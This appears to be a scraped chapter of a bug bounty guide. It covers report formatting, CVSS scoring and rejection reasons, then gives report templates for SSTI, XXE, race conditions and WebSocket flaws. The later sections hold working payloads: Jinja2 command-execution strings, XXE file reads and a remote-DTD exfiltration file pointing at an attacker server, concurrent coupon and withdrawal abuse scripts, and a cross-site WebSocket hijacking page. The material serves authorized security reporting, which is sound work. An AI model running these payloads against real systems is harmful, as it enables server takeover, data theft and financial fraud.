grep -c '^[0-9]\+\.' report-template.md
echo 'reproduction steps found'
EOFPre-submission checklist script: verify placeholders are filled, no long lines, and correct step count
cat << 'EOF' > platform-differences.txt
Platform-Specific Report Rules
===============================
HACKERONE:
- Preferred format: Markdown
- Attachments: Max 25MB per file, 100MB total
- CC: Must NOT include other vendors/services
- Severity: Use HackerOne's internal severity (not CVSS directly)
- Triage: Usually 1-5 business days
- Bounty: Determined after triage, can be negotiated
BUGCROWD:
- Preferred format: Rich text or plain text
- Attachments: Max 10MB per file
- Credentials: Must create test accounts if needed for reproduction
- Mediation: Bugcrowd mediates disputes (save all evidence)
- Triage: Usually 24-72 hours
- Bounty: Set per vulnerability category in program brief
INTIGRITI:
- Preferred format: Markdown with inline images
- Attachments: Max 5MB per file
- Language: English preferred, French/Italian sometimes accepted
- Triage: Usually 1-3 business days
- Bounty: Listed per vulnerability type
PRIVATE PROGRAMS:
- Read the policy carefully — scope may differ from public description
- Some require specific subject format: "[PROGRAM] - [TYPE] - [ENDPOINT]"
- Response time varies widely (1 day to 2 weeks)
- Always ask before testing certain vulnerability classes
EOFPlatform comparison guide — differences in formatting, attachments, triage time, and payout structure
cat << 'EOF' > report-quality-checklist.txt
Pre-Submission Checklist
=========================
□ All [PLACEHOLDER] values replaced
□ Reproduction steps are numbered and unambiguous
□ Each step can be followed by someone without your specific setup
□ PoC commands tested on a CLEAN machine (not still using your session)
□ Screenshots include the URL bar (proves it's the target domain)
□ Collaborator/Interactsh URLs are replaced with the actual callback
□ No destructive commands in the PoC (rm, dd, delete, format)
□ Severity matches the program's VRT (Vulnerability Rating Taxonomy)
□ Report does not include personal information (IPs can be redacted)
□ Duplicate check: searched for this issue in public reports
□ Program scope: confirmed the asset is in scope
□ Program rules: confirmed the test method is allowed
EOFQuality checklist — run through this before every submission to avoid basic rejection reasons
TIPS
Wrong severity is the #1 reason reports get disputed. A Medium reported as Critical wastes everyone's time. A Critical reported as Low gets you less money. Use the CVSS 3.1 calculator to get the score right before submitting. These reference values cover the most common bug bounty findings — bookmark them for quick reference.
cat << 'EOF' > severity-reference.txt
Standard Severity Values (CVSS 3.1)
====================================
REFLECTED XSS (no auth needed, user interaction):
CVSS: 6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Note: If on admin page, add PR:H → still Medium
STORED XSS (affects all users):
CVSS: 8.7 (High) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Note: If stored in admin-only panel, drop to Medium
BLIND XSS (triggers in admin panel):
CVSS: 8.2 (High) — AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
Note: Higher because it reaches internal users
IDOR (read another user's data):
CVSS: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Note: If write access too → 8.8 (High)
IDOR MASS (100+ records accessible):
CVSS: 9.1 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Note: Changed scope to Changed (S:C) due to data breach potential
PRIVILEGE ESCALATION (user → admin):
CVSS: 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Note: If from unauthenticated → 9.8 (Critical)
AUTH BYPASS (no session needed):
CVSS: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Note: Full impact — read, write, execute
SSRF (outbound requests):
CVSS: 8.6 (High) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Note: If metadata + credentials accessible → 9.1 (Critical)
SQL INJECTION (data extraction):
CVSS: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Note: If only error-based (no extraction) → 6.5 (Medium)
RCE (command execution):
CVSS: 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Note: If requires auth → PR:L → 9.9 (Critical)
FILE UPLOAD (arbitrary file):
CVSS: 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Note: If unauthenticated upload → 9.8 (Critical)
EOFCVSS 3.1 reference table — the correct base score and vector for every common vulnerability type
cat << 'EOF' > cvss-tips.txt
CVSS Scoring Tips
==================
1. Scope (S:U vs S:C) matters most for severity:
- S:U (Unchanged) = vulnerability affects only the component
- S:C (Changed) = vulnerability affects resources beyond the component
Example: XSS on a profile page is S:C (affects other users)
2. Privileges Required (PR) depends on WHO triggers it:
- PR:N = anyone can trigger (reflected XSS via link)
- PR:L = requires login (stored XSS on profile)
- PR:H = admin only (stored XSS in admin panel)
3. User Interaction (UI) is about the VICTIM:
- UI:N = no click needed (stored XSS executes on page load)
- UI:R = requires click (reflected XSS via crafted link)
4. Never change the environmental or temporal modifiers:
- They're specific to each organization's environment
- Submit the base score only — let the program adjust
EOFCVSS scoring tips — understand Scope, Privileges, and User Interaction to choose the right base score
python3 -c "
# Quick CVSS 3.1 Rounding Helper
import math
base_score = float(input('Enter base score (0-10): '))
print(f'Rounded: {round(base_score * 10) / 10}')
print(f'Severity: ', end='')
if base_score >= 9.0: print('Critical')
elif base_score >= 7.0: print('High')
elif base_score >= 4.0: print('Medium')
elif base_score > 0: print('Low')
else: print('None')
"CVSS rounding helper — calculates the correct rounded score and severity rating
TIPS
Reports get rejected for predictable reasons. Missing reproduction steps, unclear impact, duplicate submissions, and out-of-scope testing are the top four. This section covers exactly what programs look for and how to avoid the most common rejection patterns. Learn from others' mistakes instead of making your own.
cat << 'EOF' > rejection-reasons.txt
Top 10 Report Rejection Reasons
=================================
1. MISSING REPRODUCTION STEPS (30%)
- Fix: Number each step. Make it so specific a bot could follow it.
2. UNCLEAR IMPACT (20%)
- Fix: 'Attacker can read other users' data' → 'Attacker can read ALL users'
medical records, SSNs, and payment info — 50,000 records exposed'
3. DUPLICATE (15%)
- Fix: Search the program's disclosed reports before submitting
- If similar but different endpoint, explain why it's distinct
4. OUT OF SCOPE (12%)
- Fix: Triple-check the program scope before testing
- Document that the affected endpoint IS in scope
5. NOT REPRODUCIBLE (8%)
- Fix: Test your PoC on a clean machine (no Burp, no extensions)
- Include the EXACT curl command with your session replaced
6. MISSING EVIDENCE (7%)
- Fix: Attach screenshots, collaborator logs, and raw responses
- For blind vulns: the collaborator callback IS the evidence
7. LOW QUALITY / AUTO-GENERATED (4%)
- Fix: Remove scanner output noise — only include relevant findings
- Customize each report manually, don't paste scanner HTML
8. WONT FIX / INFORMATIVE (2%)
- Fix: Choose programs that care about the finding type
- Some programs accept only RCE/SSRF, not self-XSS or CSP missing
9. WRONG SEVERITY (1.5%)
- Fix: Use the CVSS reference table above
10. POLICY VIOLATION (0.5%)
- Fix: Read the program rules. Don't test what's explicitly forbidden
EOFTop 10 rejection reasons with fix actions — the most common reasons reports get rejected on HackerOne/Bugcrowd
cat << 'EOF' > first-report-tips.txt
Tips for Your First Report
===========================
1. Start with a LOW/Medium severity finding, not Critical:
- Programs take first-time reporters more seriously when they're accurate
- A well-documented Medium is better than a poorly-documented Critical
2. Include a SUMMARY block at the very top:
- Triage teams scan 50+ reports per day
- Make your report scannable: Vuln Type → Endpoint → Impact → Severity
3. Never include personal anger or frustration:
- 'This is a severe security flaw' NOT 'Your developers are incompetent'
- Professional tone gets better response and higher bounties
4. Respond to triage questions within 24 hours:
- Delayed responses get the report closed as 'Insufficient Evidence'
- Set up email notifications for platform messages
5. If rejected, don't argue immediately:
- Wait 24 hours, re-read your report objectively
- If you genuinely disagree, politely explain with ADDITIONAL evidence
- Some programs have an appeal process — use it, don't abuse it
EOFTips for first-time submitters — building credibility with triage teams from your very first report
cat << 'EOF' > report-response-timeline.txt
What Happens After You Submit
==============================
HOUR 0-24: Initial Review
- Automated checks: spam filter, duplicate check, scope validation
- If you get a 'Triage' status, a human is reviewing
DAY 1-5: Triage Evaluation
- Triage team verifies reproduction steps
- They may ask clarifying questions
- They assign severity (may differ from your CVSS)
DAY 3-14: Program Review
- Program security team reviews the triage evaluation
- Some programs pay immediately after triage
- Others wait until they implement a fix
DAY 14-90: Bounty & Disclosure
- Bounty is awarded (or negotiated)
- Report may be disclosed if the program participates in disclosure
- You may be asked to retest after the fix
TIPS:
- Don't email the program directly — use the platform's message system
- If no response after 2 weeks, add a comment on the report
- Average time to bounty: HackerOne ~14 days, Bugcrowd ~30 days
EOFSubmission timeline — what to expect after hitting submit, from triage through bounty payout
TIPS
TOOLS IN THIS CHAPTER
Official CVSS 3.1 calculator — enter your vector string and get the accurate base score
Browse disclosed reports to learn the formats and severity levels that get accepted
Complete CVSS 3.1 documentation — understand every metric before scoring your findings
You now know how to customize templates for every platform, calculate CVSS scores accurately, and avoid the top 10 rejection reasons. The difference between a $100 bounty and a $10,000 bounty is often just how well the report is written. Master submission, and your findings speak for themselves.
SSTI, XXE, Race Conditions, and WebSocket vulnerabilities — four advanced templates
Modern web applications introduce new vulnerability classes that traditional scanners miss. Server-Side Template Injection (SSTI) exploits framework rendering engines. XML External Entities (XXE) leverage legacy XML parsers. Race conditions abuse async operations. WebSocket vulnerabilities bypass HTTP-only protections. These templates cover the advanced findings that separate top hunters from the rest.
SSTI occurs when user input is passed directly into a template engine (Jinja2, Twig, Handlebars, Freemarker) without sanitization. The result is server-side code execution. The report must show both the injection point (the template syntax appears in the response) and actual command execution (a read-file or command-execution payload). Start with a simple math expression to confirm the template engine, then escalate to RCE.
## SSTI — Report Template
**Title:** Server-Side Template Injection (SSTI) in [PARAMETER] — [TEMPLATE_ENGINE] RCE
**Severity:** Critical (CVSS: 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**URL:** https://target.com/[ENDPOINT]?[PARAMETER]=[VALUE]
**Description:**
The `[PARAMETER]` parameter is rendered by a server-side template engine without sanitization. An attacker can inject template directives that execute arbitrary code on the server. Identified template engine: [Jinja2 / Twig / Freemarker / Handlebars].
**Impact:**
- Full server-side code execution
- Read sensitive files (/etc/passwd, application source code, environment variables)
- [If applicable: RCE via template engine's built-in function calls]
- Access to internal network resources and databases
**Steps to Reproduce:**
1. Confirm template injection with a math expression:
`{{7*7}}` or `${7*7}` or `#{7*7}` — depends on template engine
2. If the response shows `49` or similar result, SSTI is confirmed
3. Escalate to command execution:
`{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` (Jinja2)
or `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}` (Twig)
4. Extract a safe, non-destructive proof:
`curl -s '[URL]' -d '[PARAMETER]={{config}}' | grep -o 'SECRET_KEY=[A-Za-z0-9]*'`
**Proof of Concept:**
[Mathematical expression result confirming template execution]
[Command output from RCE payload — id, hostname, or file read]
**Remediation:**
- Never pass user input directly to template rendering functions
- Use Sandboxed template environments that restrict access to dangerous functions
- Apply context-aware output encoding BEFORE template rendering
- Use static template files instead of dynamic template stringsSSTI report template — covers confirmation (math expression) through RCE with Jinja2/Twig/Freemarker payloads
curl -s 'https://target.com/profile?name={{7*7}}' | grep -o '49\|{{7\*7}}'SSTI detection: inject {{7*7}} — if the response contains '49' instead of the literal payload, SSTI is confirmed
curl -s 'https://target.com/profile?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27id%27).read()}}' | head -10Jinja2 RCE payload: reads the output of the 'id' command via Python's os.popen — replace 'id' with any command
curl -s 'https://target.com/hello?name=${7*7}' | grep -o '49\|${7\*7}'Freemarker SSTI detection: ${7*7} syntax — Freemarker uses ${} for expressions
curl -s 'https://target.com/greet?username={{cycler.__init__.__globals__.os.popen(%27hostname%27).read()}}' | head -5Jinja2 RCE via cycler object — an alternative to config.__class__ when globals chain is restricted
cat << 'EOF' > ssti-evidence.txt
SSTI Confirmation
===================
Vulnerable Parameter: name
Template Engine: Jinja2 (Python)
Confirmation Tests:
[x] {{7*7}} → response contains "49"
[x] ${7*7} → no result (not Freemarker)
[x] #{7*7} → no result (not Ruby/ERB)
RCE Payload: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Output: uid=33(www-data) gid=33(www-data)
RCE Payload 2: {{config.__class__.__init__.__globals__['os'].popen('hostname').read()}}
Output: web-01-us-east-1
Accessible Files:
- /etc/passwd: readable
- /proc/1/environ: readable
- app/config.py: readable (contains DB creds)
EOFSSTI evidence template — document which tests were performed and which template engine was identified
TIPS
XXE exploits XML parsers that process external entities. When an application accepts XML input (SOAP APIs, file uploads, DOCX parsing), you can inject an external entity that reads local files, performs SSRF, or causes denial of service. The classic PoC reads /etc/passwd via an entity that references the file. Modern XXE requires bypassing disabled external entities through DTD inclusions or error-based techniques.
## XXE — Report Template
**Title:** XML External Entity (XXE) Injection in [ENDPOINT] — file read and SSRF
**Severity:** High (CVSS: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
**Description:**
The `[ENDPOINT]` endpoint accepts XML input and processes it with an insecure XML parser. An attacker can define external entities that read local files, interact with internal services, or cause denial of service.
**Impact:**
- Read arbitrary server files (configuration files, source code, credentials)
- SSRF to internal network services and cloud metadata endpoints
- [If applicable: denial of service via Billion Laughs attack]
**Steps to Reproduce:**
1. Send a simple XXE payload to confirm entity parsing:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```
2. If the response contains /etc/passwd contents, XXE is confirmed
3. Test blind XXE via out-of-band:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://[COLLABORATOR_URL]/oob">
]>
<root>&xxe;</root>
```
4. Check collaborator logs for incoming HTTP/DNS request
**Proof of Concept:**
[Response containing /etc/passwd or similar system file]
[Collaborator callback log for blind XXE]
**Remediation:**
- Disable DTD processing entirely in the XML parser configuration
- If DTD is required, disable ENTITY expansion and external entity resolution
- Use JSON or similar non-XML data formats where possible
- Apply input validation to reject XML with DOCTYPE declarationsXXE report template — covers classic file read, SSRF, and blind OOB exfiltration techniques
curl -s -X POST 'https://target.com/api/upload' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><root>&test;</root>' | head -10Classic XXE PoC: inject an external entity that reads /etc/passwd and include it in the XML body
curl -s -X POST 'https://target.com/api/soap' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY oob SYSTEM "http://YOUR-COLLABORATOR.oastify.com/xxe">]><soap:Envelope><soap:Body>&oob;</soap:Body></soap:Envelope>'Blind XXE via SOAP API: the external entity makes an HTTP request to your collaborator — no file content in response
cat << 'EOF' > xxe-payload.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
%dtd;
]>
<root>&send;</root>
EOFXXE with remote DTD — bypasses disabled local entities by loading a DTD from your server that exfiltrates files
cat << 'EOF' > xxe-evidence.txt
XXE Confirmation
=================
Vulnerable Endpoint: /api/upload
Content-Type: application/xml
File Read Confirmation:
[x] /etc/passwd — SUCCESS (response contains user accounts)
[x] /etc/hostname — SUCCESS
[x] /proc/1/environ — SUCCESS (contains environment variables)
Blind XXE (OOB):
[x] Collaborator callback received from target IP
SSRF via XXE:
[x] Internal URL accessible: http://127.0.0.1:8080/admin
[x] Cloud metadata: NOT accessible (target uses on-prem)
Parser Info:
- libxml version: [VERSION from error message]
- External entities: ENABLED
EOFXXE evidence template — document file reads, OOB callbacks, and SSRF capabilities
TIPS
Race conditions (Time-of-Check Time-of-Use / TOCTOU) occur when a resource's state changes between verification and usage. Common in coupon codes, gift card redemption, withdrawal limits, and concurrent API requests. The report must prove multiple requests modified the same resource simultaneously, bypassing the intended single-use constraint. Use Burp Intruder or a parallel curl script to demonstrate.
## Race Condition — Report Template
**Title:** Race Condition (TOCTOU) in [ENDPOINT] — bypass [LIMIT_TYPE] via concurrent requests
**Severity:** High (CVSS: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
**Description:**
The `[ENDPOINT]` endpoint checks a condition (balance, usage count, single-use flag) and then performs an action — but the check and action are not atomic. Sending multiple concurrent requests can bypass the check because they all read the pre-check state before any of them updates it.
**Impact:**
- Apply the same coupon/discount multiple times
- Redeem the same gift card code repeatedly
- Withdraw more than the account balance
- Vote multiple times in a single-vote-per-user system
- [If applicable: create unlimited resources with a single-use token]
**Steps to Reproduce:**
1. Identify the race window: the time between the server checking the condition and applying the change
2. Send 20+ concurrent requests to the endpoint:
`for i in $(seq 1 20); do curl -s '[ENDPOINT]' -d '[PARAM]=[VALUE]' -H 'Cookie: SESSION' &; done; wait`
3. Check the resource state:
- Coupon: applied [N] times instead of 1
- Balance: deducted more than the available balance
- Token: [N] resources created from one token
4. Repeat with different timing windows to maximize the race
**Proof of Concept:**
[Screenshot showing the resource applied N times with timestamps]
[The exact curl command used for the race]
**Remediation:**
- Use database-level atomic operations (e.g., UPDATE ... WHERE condition, not SELECT then UPDATE)
- Implement pessimistic locking for critical resources
- Use idempotency keys: each request carries a unique key that can only succeed once
- Apply rate limiting per-user for sensitive endpointsRace Condition report template — demonstrates concurrent request exploitation with proof of double-redemption
for i in $(seq 1 30); do curl -s "https://target.com/api/coupon/redeem" -d "code=DISCOUNT50" -H "Cookie: SESSION" -o /dev/null -w "Request $i: %{http_code}\n" &; done; waitRace condition PoC: send 30 concurrent coupon redemption requests — if more than one succeeds, race condition confirmed
cat << 'EOF' > race-condition-test.sh
#!/bin/bash
ENDPOINT="$1"
DATA="$2"
TIMES="${3:-20}"
echo "Sending $TIMES concurrent requests to $ENDPOINT..."
for i in $(seq 1 $TIMES); do
curl -s "$ENDPOINT" -d "$DATA" -H 'Cookie: SESSION' -o "response-$i.txt" -w "%{http_code}\n" &
done
wait
echo "Success count: $(grep -c '200' response-*.txt 2>/dev/null || echo 0)"
echo "Unique responses: $(cat response-*.txt 2>/dev/null | sort -u | wc -l)"
EOF
chmod +x race-condition-test.sh && ./race-condition-test.sh "https://target.com/api/coupon/redeem" "code=DISCOUNT50" 30Race condition test harness — sends N concurrent requests and counts how many succeeded (should be 1, more = race)
cat << 'EOF' > race-evidence.txt
Race Condition Confirmation
============================
Endpoint: /api/coupon/redeem
Parameter: code=DISCOUNT50 (single-use coupon)
Results:
- Requests sent: 30 (concurrent)
- Successful redemptions: 7 (should be 1)
- Coupon status after test: USED (correctly marked)
- But 7 successful redemptions occurred before status update
Window Analysis:
- Average request time: 45ms
- Race window: ~30-50ms (between SELECT and UPDATE)
- Concurrency required: 15+ simultaneous requests
Impact:
- Unlimited coupon/discount abuse
- [If applicable: financial loss to the company]
EOFRace condition evidence template — document the concurrency count, race window, and successful exploitation rate
echo "Send 50 parallel requests to test withdrawal race:"; parallel -j 50 curl -s "https://target.com/api/wallet/withdraw" -d "amount=100" -H "Cookie: SESSION" -o /dev/null -w "%{http_code}\n" ::: $(seq 1 50) | sort | uniq -cParallel race condition test with GNU Parallel — 50 concurrent withdrawal requests, count success vs failure
TIPS
WebSocket connections often bypass HTTP security controls entirely. Common WebSocket vulnerabilities include missing authentication (anyone can connect), message injection (no input validation on messages), and cross-origin WebSocket hijacking (any website can open a socket to the target). The report must demonstrate either unauthenticated data access or injection via WebSocket messages.
## WebSocket Vulnerability — Report Template
**Title:** [WebSocket Missing Auth / WebSocket Injection] in [WS_ENDPOINT]
**Severity:** [High/Critical based on impact]
**Description:**
The WebSocket endpoint at `[WS_ENDPOINT]` [vulnerability description]. Unlike HTTP endpoints, this WebSocket connection [bypasses auth / lacks input validation / allows cross-origin connections], exposing [data or functionality] to unauthorized parties.
**Impact:**
- [If auth bypass: read real-time data streams without authentication]
- [If injection: manipulate the WebSocket connection to perform actions on behalf of other users]
- [If CSWSH: any website can open a WebSocket to the target and act as the victim]
**Steps to Reproduce:**
1. Open a WebSocket connection to the target WITHOUT any authentication:
```javascript
const ws = new WebSocket("wss://target.com/ws");
ws.onmessage = (e) => console.log(e.data);
ws.onopen = () => ws.send('["GET", "/admin/events"]');
```
2. If the connection opens successfully AND returns data, WebSocket auth is missing
3. Test cross-origin: run the same JavaScript from a DIFFERENT domain
**Proof of Concept:**
[Attach screenshot of WebSocket connection opening without auth]
[Attach screenshot of data returned via unauthenticated WebSocket]
**Remediation:**
- Authenticate WebSocket connections during the upgrade handshake (validate session in the upgrade request)
- Apply per-message authorization checks — don't assume auth at connect time is sufficient
- Validate Origin header during the WebSocket upgrade to prevent cross-origin attacks
- Treat WebSocket messages with the same validation rigor as HTTP request bodiesWebSocket report template — covers missing auth, message injection, and cross-origin hijacking
cat << 'EOF' > ws-auth-test.py
#!/usr/bin/env python3
import asyncio, websockets, sys
async def test_ws():
uri = sys.argv[1] if len(sys.argv) > 1 else "wss://target.com/ws"
print(f"Connecting to {uri} WITHOUT authentication...")
try:
async with websockets.connect(uri) as ws:
msg = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"CONNECTED! Received: {msg[:200]}")
print("VULNERABLE: WebSocket accepts unauthenticated connections")
except Exception as e:
print(f"Connection failed (expected if auth is enforced): {e}")
asyncio.run(test_ws())
EOF
python3 ws-auth-test.py wss://target.com/wsWebSocket auth test — if the connection opens without any session cookie, WebSocket authentication is missing
cat << 'EOF' > ws-csrf-test.html
<!DOCTYPE html><html><body>
<h2>Cross-Site WebSocket Hijacking (CSWSH) PoC</h2>
<p>This page opens a WebSocket to the target from a DIFFERENT origin.</p>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = () => {
log.textContent += '[OPEN] Connection established from evil.com origin\n';
ws.send(JSON.stringify({action: 'getProfile', userId: 1}));
};
ws.onmessage = (e) => {
log.textContent += '[DATA] ' + e.data + '\n';
};
ws.onerror = () => log.textContent += '[ERROR] Connection rejected or failed\n';
</script>
</body></html>
EOFCross-Site WebSocket Hijacking PoC HTML — open this from a different origin to test if WebSocket accepts cross-origin connections
cat << 'EOF' > ws-evidence.txt
WebSocket Vulnerability Confirmation
=====================================
WebSocket Endpoint: wss://target.com/ws
Auth Bypass:
[x] Connection WITHOUT session cookie — SUCCESS
[x] Data received without authentication — [YES / NO]
Cross-Origin:
[x] Connection from evil.com — SUCCESS
[x] Origin header validated — [NO / YES]
Message Injection:
[x] Malformed messages accepted — [YES / NO]
[x] SQL injection in message parameters — [TESTED]
Data Access:
- Real-time events accessible: [user actions, admin events, chat messages]
- User-specific data accessible: [YES — specify what data]
EOFWebSocket evidence template — document auth, CORS, and injection test results
curl -s -i 'https://target.com' -H 'Upgrade: websocket' -H 'Connection: Upgrade' -H 'Sec-WebSocket-Version: 13' -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' -o /dev/null -w 'Status: %{http_code}\n'WebSocket upgrade request via curl — a 101 Switching Protocols with no session cookie confirms missing auth
TIPS
TOOLS IN THIS CHAPTER
Python library for programmatic WebSocket testing — connect, send messages, and receive data
pip3 install websocketsSimple WebSocket command-line client — connect and interact with WebSocket endpoints interactively
npm install -g wscatBurp extension for race condition testing — sends requests in a single TCP packet for sub-millisecond races
Comprehensive SSTI payload generator and detector across multiple template engines
git clone https://github.com/vladko312/SSTImap.gitYou now have report templates for the four most advanced web vulnerability classes: SSTI (template engine RCE), XXE (file read and SSRF via XML), Race Conditions (concurrent request exploits), and WebSocket vulnerabilities (auth bypass and cross-origin hijacking). These findings consistently receive the highest bounties because they demonstrate deep understanding of modern web architecture.